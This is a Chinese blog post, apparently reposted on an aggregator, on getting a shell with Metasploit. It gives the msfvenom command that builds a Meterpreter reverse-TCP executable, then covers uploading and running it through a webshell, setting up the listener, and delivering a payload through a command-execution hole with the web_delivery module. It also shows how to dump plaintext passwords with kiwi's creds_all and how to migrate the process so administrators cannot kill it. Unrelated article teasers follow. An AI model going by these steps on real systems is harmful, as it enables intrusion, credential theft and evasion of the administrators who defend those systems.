使用msf获取shell

2023-11-17

一、获取网站webshell的前提

        使用msfvenom生成exe文件通过webshell上传。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=端口 -f exe > 1321.exe

这里用到windows/x64/meterpreter/reverse_tcp模块,这用于生成一个meterpreter shell的反向TCP连接载荷,可以TCP连接载荷,可以在64位的Windows操作系统上执行。

 把生成的exe通过webshell上传

先使用msfconsole做好监听

使用的模块 payload/windows/x64/meterpreter/reverse_tcp

使用options来查看要设置的参数

设置好监听的ip和端口

使用exploit运行开始监听。

这时通过webshell来运行之前上传的exe文件

监听会有回显

使用sessions列出会话列表

进入会话并进行提权

读取目标的明文密码

运行并加载kiwi插件

load kiwi

输入help查看用法,

可以看到creds_all是检索所有已解析的凭据。

使用creds_all来读取目标明文密码

修改进程防止当前进程被关闭

使用ps列出当前所有进程

getpid查看当前进程

 迁移当前进程

 二、没有网站的webshell但是有一个命令执行

由于环境问题我这里就使用蚁剑的虚拟终端来模拟一个命令执行

先搜索一个模块

该模块用于在目标系统上通过web服务器(通常是使用PHP或Powershell脚本)交付Meterpreter payload,并在目标系统上生成Meterpretershell会话。这个模块可以用于攻击通过web渠道向目标系统发送payload,并在目标系统上执行各种后渗透操作

使用该模块

参看需要修改的参数

这里可以看到这里默认的是使用python,但是要考虑目标是否有python的环境

显示当前系统信息模块参数的配置选项

 我这使用的是第2个,直接 set target 2就行

然后在修改payload是使用和上面一样的payload:payload windows/x64/meterpreter/reverse_tcp

然后设置监听的ip和端口就行了

 运行run -j 在后台运行

把运行出来的结果放到命令执行的地方就行了

在msf查看会话并进入会话

然后就是和上面一样的步骤。

修改进程是防止当前进程被管理员关闭进程从而导致权限丢失。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

使用msf获取shell 的相关文章

  • 每日一题:序列操作

    序列操作 题目 Daimayuan Online Judge 没啥思路 如果暴力的话肯定会超时 太难了太难了 参考了题解想了好久才弄懂 该题是思维题 操作1是将第x个数变为y 输入的时候就可以修改值了 毕竟只要一个语句就行 每次操作都是将x
  • seata 1.4.2 执行seata-server.bat报错:Could not create connection to database server.

    seata 1 4 2 执行seata server bat报错 18 40 17 778 ERROR tionPool Create 343563528 com alibaba druid pool DruidDataSource cre
  • 网络整理续

    计算机网络简答题 1 TCP 协议和 UDP 协议的区别有哪些 1 TCP 属于面向连接的协议 UDP 属于面向无连接的协议 2 TCP 可以保证数据可靠 有序的传输 可以进行流量控制 UDP 无法实现 3 TCP 协议有效载荷小于 UDP
  • Linux下20个常用Linux性能监控工具/命令

    此文章不作为商业用途 纯粹的用来学习 20个常用Linux性能监控工具 命令 对于 Linux Unix 系统管理员非常有用的并且最常用的20个命令行系统监视工具 这些命令可以在所有版本的 Linux 下使用去监控和查找系统性能的实际原因

随机推荐

  • vscode实用快捷键查找和替换

    vscode是一款功能十分强大的编辑器 且带有许多插件 利用插件可以让开发速度提升几倍甚至几十倍 vscode快捷键 查找 单文件查找 ctrl F 替换 单文件内替换一处 crtl shift 1 单文件内替换全部 ctrl alt en
  • mybatis-plus中wrapper的用法(详细)

    用到了wrapper ge le ne eq等的用法 及多表查询自写sql整理资料记录一下 以备后续复习 目录 可点击相应目录直接跳转 一 条件构造器关系介绍 条件构造器关系介绍 wapper介绍 二 项目实例 1 根据主键或者简单的查询条
  • 优秀程序员和一般程序员有什么区别?

    优秀程序员和一般程序员有什么区别 为什么有的人一入职就能平步青云 而有的人入职很久却一直在原地打转 程序员的职场进阶之路到底有多少门道 今天 我们邀请到了前Google Top Performer 来Offer的闫老师 给大家分享一下他的职
  • gitlab CI/CD系列之使用 GitLab Runner注册和基本环境配置

    由于很多时候我们的环境搭建都是在已经在对应的设备上搭建完成 或者是我们直接使用一个配置好的docker容器 开机自动启动 作为ci cd的运行环境 所以为了便利性这里主要使用的是shell模式 简介 理解了上面的基本概念之后 有没有觉得少了
  • netty-all 简介、中文文档、中英对照文档 下载

    netty all 文档 下载链接 含jar包 源码 pom 组件名称 中文 文档 下载链接 中英对照 文档 下载链接 netty all 4 0 50 Final jar netty all 4 0 50 Final API文档 中文版
  • 头歌实践教学平台数据结构与算法:02线性表

    针对数据结构02线性表在头歌平台练习过程中的完成代码 关卡数目较多 每题思路单独在每一关中解释 如有其他需求请留言 第一关 可以把问题转换为 遍历B中的元素 如果该元素不在A中 则把该元素插入到A中 由于集合中的元素没有先后顺序 因此 插入
  • Vue项目之登录注册

    Vue项目之登录注册 1 注册 1 1 注册页面的布局 1 2 注册业务逻辑的实现 2 登录 3 导航守卫 3 1全局导航守卫 全部路由都会经过这里 一定要调用next方法向下执行 3 2 路由独享的导航守卫 3 3 组件内的导航守卫 补充
  • ReactHook RefHook

    1 除了可以进行ref操作以外 还能进行数据存储的操作 即相当于在函数式组件中拥有了this 2 ref的改变不会引起组件的重新渲染 1 引入 import React Component useRef from react 2 使用ref
  • APP 抓包和微信小程序抓包-Charles 的精简使用教程

    APP 抓包和微信小程序抓包 Charles 的精简使用教程 2021 09 25 更新 2019 07 10 更新 目标 教程 一 安装 Charles 二 Charles 简介 1 Charles 欢迎页面 2 基础功能按钮 3 抓包内
  • 可视化爬虫框架spiderflow入门及实战

    官网 点击直达官网 文档 点击查看官网文档 说明 目前官网和文档均无法正常访问 原因未知 参考本文即可 再有问题欢迎留言讨论 以下内容部分来自官网或官网文档 文章比较长 请准备好瓜子和小板凳 TIP 文中用到的网站地址仅为了说明功能 如有侵
  • Android——微信登录、分享

    写在前面的话 应用要接入微信登录 分享 需要在微信的开发者平台上进行提交应用 并且审核通过 应用已经获取到appId 相关jar包下载地址 http download csdn net detail sapce fish 9571142 也
  • 链式栈(c)

    链式栈 在上节我们提到了顺序栈 而链式栈就是把顺序栈用链表的方式来存储 如果对链表和顺序栈的学习较为深刻的话 学习链式栈会非常容易 首先第一步和单链表操作基本相同 创建一个结构体 一块是数据域 另一块是指针域 用来指向下一个元素 typed
  • linux文件夹重命名

    微信可以设置雪花昵称了 真漂亮 在Linux下重命名文件或目录 可以使用mv命令或rename命令 这里分享下二者的使用方法 mv命令既可以重命名 又可以移动文件或文件夹 例子 将目录A重命名为B mv A B 例子 将 a目录移动到 b下
  • tkinter创建子窗口(只创建一个)

    import tkinter as tk 第一种直接写个类 class OneUi def init self master tk Tk self top tk Toplevel master self top geometry 600x4
  • 【直播回顾】5步实现精细化用户触达,助力业务增长

    9月17日 极光BDS产品经理刘基石通过线上直播进行了主题为 如何实现精细化的用户触达 的分享 从 用户触达的大数据 用户触达的 5 个因子 如何实现精细化触达以及精细化触达实例 4个方面 深度分享了极光如何实现精细化的用户触达 助力客户业
  • Linux Power supply子系统分析之一

    转自 http www wowotech net pm subsystem psy class overview html 1 概述 对于便携式设备 如手机或者pad来说 battery都是必不可少的一个组成部分 kernel中为了方便对b
  • IDEA-集成VisualVM插件,启动Java VisualVM

    起因 我忘了我之前起程序去关联Java VisualVM是咋配的了今天百度搜的时候意外发现idea可以直接起 只需要安装VisualVM插件然后启动Java VisualVM 安装VisualVM插件 路径 File gt Setting
  • Android四大组件-BroadcastReceiver、ContentProvider、Service

    目录 一 BroadcastReceiver 1 定义 2 作用 3 生命周期 4 广播注册方式 动态注册 静态注册 5 广播类型 普通广播 即发出广播后所有接收者都能收 有序广播 按照广播的优先级接受 broadcastReceiver可
  • Cesium.js基础使用(vue)

    如何通过Cesium创建一个地图 1 npm安装 这里使用1 95 0版本 npm i cesium 1 95 0 s 或 yarn add cesium 1 95 0 s 2 组件引入 import as Cesium from cesi
  • 使用msf获取shell

    一 获取网站webshell的前提 使用msfvenom生成exe文件通过webshell上传 msfvenom p windows x64 meterpreter reverse tcp LHOST IP LPORT 端口 f exe g